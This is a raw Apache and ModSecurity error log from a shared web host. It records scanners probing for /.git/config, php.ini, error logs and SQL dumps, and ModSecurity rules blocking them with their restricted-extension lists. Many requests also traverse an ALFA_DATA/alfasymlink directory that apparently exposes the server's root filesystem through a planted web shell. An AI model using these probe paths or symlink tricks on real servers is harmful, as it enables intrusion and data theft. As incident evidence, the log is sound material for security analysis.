[Sat Oct 24 23:56:28.455261 2026] [core:crit] [pid 2748406:tid 2748406] (13)Permission denied: [client 216.244.66.250:33120] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/214/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/214/fd/' is executable
[Sat Oct 24 23:56:28.455317 2026] [core:crit] [pid 2748406:tid 2748406] (13)Permission denied: [client 216.244.66.250:33120] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/214/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/214/map_files/' is executable
[Sat Oct 24 23:56:28.455334 2026] [core:crit] [pid 2748406:tid 2748406] (13)Permission denied: [client 216.244.66.250:33120] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/214/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/214/fdinfo/' is executable
[Sat Oct 24 23:56:33.525772 2026] [core:crit] [pid 2748405:tid 2748405] (13)Permission denied: [client 216.244.66.250:48482] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/26/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/26/fd/' is executable
[Sat Oct 24 23:56:33.525833 2026] [core:crit] [pid 2748405:tid 2748405] (13)Permission denied: [client 216.244.66.250:48482] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/26/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/26/map_files/' is executable
[Sat Oct 24 23:56:33.525886 2026] [core:crit] [pid 2748405:tid 2748405] (13)Permission denied: [client 216.244.66.250:48482] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/26/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/26/fdinfo/' is executable
[Sat Oct 24 23:56:34.213762 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 52.203.68.145:60230] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:56:37.793180 2026] [core:error] [pid 2749138:tid 2749138] (13)Permission denied: [client 85.208.96.194:19812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/hwcache_align
[Sat Oct 24 23:56:38.210070 2026] [ssl:error] [pid 2748404:tid 2748404] (70014)End of file found: [client 52.3.104.214:12793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:56:41.852204 2026] [security2:error] [pid 2749302:tid 2749302] [client 8.228.96.204:41148] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at19-d-TBPgBf3j6QfIIeAAAAAc"]
[Sat Oct 24 23:56:41.852500 2026] [security2:error] [pid 2749302:tid 2749302] [client 8.228.96.204:41148] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at19-d-TBPgBf3j6QfIIeAAAAAc"]
[Sat Oct 24 23:56:41.852785 2026] [security2:error] [pid 2749302:tid 2749302] [client 8.228.96.204:41148] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at19-d-TBPgBf3j6QfIIeAAAAAc"]
[Sat Oct 24 23:56:41.853124 2026] [security2:error] [pid 2749302:tid 2749302] [client 8.228.96.204:41148] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at19-d-TBPgBf3j6QfIIeAAAAAc"]
[Sat Oct 24 23:57:10.567815 2026] [core:error] [pid 2749302:tid 2749302] (13)Permission denied: [client 85.208.96.197:22818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/remote_node_defrag_ratio
[Sat Oct 24 23:57:18.225422 2026] [ssl:error] [pid 2748405:tid 2748405] (70014)End of file found: [client 3.212.219.113:31838] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:57:22.211388 2026] [ssl:error] [pid 2748410:tid 2748410] (5)Input/output error: [client 18.207.89.138:57191] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:57:27.523324 2026] [core:error] [pid 2756441:tid 2756441] (13)Permission denied: [client 85.208.96.197:28260] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/total_objects
[Sat Oct 24 23:57:30.928530 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 85.208.96.197:28280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/cpu_partial
[Sat Oct 24 23:57:34.324374 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 34.205.163.103:55170] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:57:38.206008 2026] [core:error] [pid 2756401:tid 2756401] (13)Permission denied: [client 52.70.209.13:43480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:09/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4
[Sat Oct 24 23:57:46.299030 2026] [ssl:error] [pid 2749138:tid 2749138] (70014)End of file found: [client 3.213.85.234:16588] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:57:50.368794 2026] [ssl:error] [pid 2749120:tid 2749120] (70014)End of file found: [client 54.84.102.81:12685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:57:54.251067 2026] [ssl:error] [pid 2756401:tid 2756401] (70014)End of file found: [client 18.211.148.239:14637] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:58:14.500648 2026] [ssl:error] [pid 2748410:tid 2748410] (70014)End of file found: [client 3.213.46.222:37128] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:58:18.578250 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 34.194.233.48:56386] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:58:34.982094 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 34.233.114.237:36709] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:58:42.327488 2026] [ssl:error] [pid 2756441:tid 2756441] (70014)End of file found: [client 34.203.111.15:57159] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:58:45.873263 2026] [core:error] [pid 2756401:tid 2756401] (13)Permission denied: [client 185.191.171.14:48524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_iattrs_cache/free_calls
[Sat Oct 24 23:58:46.258450 2026] [core:error] [pid 2748405:tid 2748405] (13)Permission denied: [client 52.45.92.83:5794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:1a/eject
[Sat Oct 24 23:58:47.402231 2026] [core:error] [pid 2749160:tid 2749160] (13)Permission denied: [client 85.208.96.194:14268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/remote_node_defrag_ratio
[Sat Oct 24 23:58:54.256951 2026] [ssl:error] [pid 2748406:tid 2748406] (70014)End of file found: [client 98.82.59.253:2141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:58:56.180847 2026] [authz_core:error] [pid 2749138:tid 2749138] [client 5.102.169.102:52824] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 23:58:59.796358 2026] [authz_core:error] [pid 2759013:tid 2759013] [client 5.102.169.102:52998] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 23:58:59.833123 2026] [authz_core:error] [pid 2759012:tid 2759012] [client 5.102.169.102:51454] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 23:59:00.760189 2026] [core:error] [pid 2759022:tid 2759022] (13)Permission denied: [client 54.235.191.179:34228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/input3/device/driver/uevent
[Sat Oct 24 23:59:00.817642 2026] [authz_core:error] [pid 2759017:tid 2759017] [client 5.102.169.102:38592] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 23:59:01.846094 2026] [authz_core:error] [pid 2759041:tid 2759041] [client 5.102.169.102:55304] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 23:59:01.854372 2026] [authz_core:error] [pid 2759042:tid 2759042] [client 5.102.169.102:33188] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Sat Oct 24 23:59:02.023068 2026] [security2:error] [pid 2759034:tid 2759034] [client 5.102.169.102:45164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_durango_1.html"] [unique_id "at1-hm1pD9e9aadV0ym6EAAAAB4"]
[Sat Oct 24 23:59:02.023128 2026] [security2:error] [pid 2759034:tid 2759034] [client 5.102.169.102:45164] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_durango_1.html"] [unique_id "at1-hm1pD9e9aadV0ym6EAAAAB4"]
[Sat Oct 24 23:59:02.473764 2026] [authz_core:error] [pid 2756401:tid 2756401] [client 5.102.169.102:48796] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sat Oct 24 23:59:02.478544 2026] [authz_core:error] [pid 2748405:tid 2748405] [client 5.102.169.102:60324] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Sat Oct 24 23:59:02.672232 2026] [core:error] [pid 2759038:tid 2759038] (13)Permission denied: [client 185.191.171.16:47452] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-96/object_size
[Sat Oct 24 23:59:03.305964 2026] [authz_core:error] [pid 2759046:tid 2759046] [client 5.102.169.102:35226] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sat Oct 24 23:59:04.433412 2026] [security2:error] [pid 2759022:tid 2759022] [client 5.102.169.102:35962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_tlaxcala_1.html"] [unique_id "at1-iIXEAMeV8fEvM7lkEAAAABc"]
[Sat Oct 24 23:59:04.433465 2026] [security2:error] [pid 2759022:tid 2759022] [client 5.102.169.102:35962] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_tlaxcala_1.html"] [unique_id "at1-iIXEAMeV8fEvM7lkEAAAABc"]
[Sat Oct 24 23:59:04.529214 2026] [security2:error] [pid 2759064:tid 2759064] [client 5.102.169.102:48838] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_durango_1.html"] [unique_id "at1-iAub27nu5lImAo9EgQAAADs"]
[Sat Oct 24 23:59:04.529269 2026] [security2:error] [pid 2759064:tid 2759064] [client 5.102.169.102:48838] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/debug_durango_1.html"] [unique_id "at1-iAub27nu5lImAo9EgQAAADs"]
[Sat Oct 24 23:59:04.530461 2026] [authz_core:error] [pid 2759071:tid 2759071] [client 5.102.169.102:33204] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Sat Oct 24 23:59:04.675814 2026] [security2:error] [pid 2759072:tid 2759072] [client 5.102.169.102:57336] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/direc1/index.html"] [unique_id "at1-iJ6ra04H_KdkcGeAwAAAAEM"]
[Sat Oct 24 23:59:04.675852 2026] [security2:error] [pid 2759072:tid 2759072] [client 5.102.169.102:57336] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/direc1/index.html"] [unique_id "at1-iJ6ra04H_KdkcGeAwAAAAEM"]
[Sat Oct 24 23:59:04.689754 2026] [security2:error] [pid 2759008:tid 2759008] [client 5.102.169.102:58014] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/echo"] [unique_id "at1-iIqJeY9iwIYL1dr2cwAAAAY"]
[Sat Oct 24 23:59:04.689808 2026] [security2:error] [pid 2759008:tid 2759008] [client 5.102.169.102:58014] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/echo"] [unique_id "at1-iIqJeY9iwIYL1dr2cwAAAAY"]
[Sat Oct 24 23:59:04.749667 2026] [security2:error] [pid 2759072:tid 2759072] [client 5.102.169.102:57336] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at1-iJ6ra04H_KdkcGeAwQAAAEM"]
[Sat Oct 24 23:59:04.750000 2026] [security2:error] [pid 2759072:tid 2759072] [client 5.102.169.102:57336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at1-iJ6ra04H_KdkcGeAwQAAAEM"]
[Sat Oct 24 23:59:04.750250 2026] [security2:error] [pid 2759072:tid 2759072] [client 5.102.169.102:57336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/error.log"] [unique_id "at1-iJ6ra04H_KdkcGeAwQAAAEM"]
[Sat Oct 24 23:59:04.832165 2026] [authz_core:error] [pid 2759072:tid 2759072] [client 5.102.169.102:57336] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 23:59:04.897342 2026] [authz_core:error] [pid 2759063:tid 2759063] [client 5.102.169.102:33118] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Sat Oct 24 23:59:05.033119 2026] [authz_core:error] [pid 2759056:tid 2759056] [client 5.102.169.102:47046] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.com/php.ini
[Sat Oct 24 23:59:05.034319 2026] [security2:error] [pid 2759056:tid 2759056] [client 5.102.169.102:47046] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at1-iRKn3mXYa5RgO6l1RwAAADM"]
[Sat Oct 24 23:59:05.034350 2026] [security2:error] [pid 2759056:tid 2759056] [client 5.102.169.102:47046] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/miescurlax.com/"] [unique_id "at1-iRKn3mXYa5RgO6l1RwAAADM"]
[Sat Oct 24 23:59:05.186517 2026] [authz_core:error] [pid 2759058:tid 2759058] [client 5.102.169.102:41610] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 23:59:07.083398 2026] [core:error] [pid 2759011:tid 2759011] (13)Permission denied: [client 3.230.69.161:59585] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/input4/device/driver/bind
[Sat Oct 24 23:59:07.084942 2026] [security2:error] [pid 2759018:tid 2759018] [client 5.102.169.102:56764] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at1-i9-Je-v8fmWsxdlDjQAAABM"]
[Sat Oct 24 23:59:07.085191 2026] [security2:error] [pid 2759018:tid 2759018] [client 5.102.169.102:56764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at1-i9-Je-v8fmWsxdlDjQAAABM"]
[Sat Oct 24 23:59:07.085494 2026] [security2:error] [pid 2759018:tid 2759018] [client 5.102.169.102:56764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimodatabase.log"] [unique_id "at1-i9-Je-v8fmWsxdlDjQAAABM"]
[Sat Oct 24 23:59:07.210104 2026] [security2:error] [pid 2759039:tid 2759039] [client 5.102.169.102:54884] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at1-i7_ZIdumA8_M9_L51gAAACM"]
[Sat Oct 24 23:59:07.217889 2026] [security2:error] [pid 2759039:tid 2759039] [client 5.102.169.102:54884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at1-i7_ZIdumA8_M9_L51gAAACM"]
[Sat Oct 24 23:59:07.529555 2026] [security2:error] [pid 2759039:tid 2759039] [client 5.102.169.102:54884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/wapisimox1.log"] [unique_id "at1-i7_ZIdumA8_M9_L51gAAACM"]
[Sat Oct 24 23:59:08.599195 2026] [security2:error] [pid 2759043:tid 2759043] [client 5.102.169.102:37012] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at1-jLfQdvgLJqDYDw-G-AAAACc"]
[Sat Oct 24 23:59:08.599550 2026] [security2:error] [pid 2759043:tid 2759043] [client 5.102.169.102:37012] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at1-jLfQdvgLJqDYDw-G-AAAACc"]
[Sat Oct 24 23:59:08.599861 2026] [security2:error] [pid 2759043:tid 2759043] [client 5.102.169.102:37012] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/zacsonzf.sql"] [unique_id "at1-jLfQdvgLJqDYDw-G-AAAACc"]
[Sat Oct 24 23:59:10.290825 2026] [ssl:error] [pid 2759037:tid 2759037] (70014)End of file found: [client 34.194.233.48:45728] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 23:59:58.415095 2026] [ssl:error] [pid 2759021:tid 2759021] (70014)End of file found: [client 184.73.47.24:40073] AH02013: coalesce failed to read from data bucket
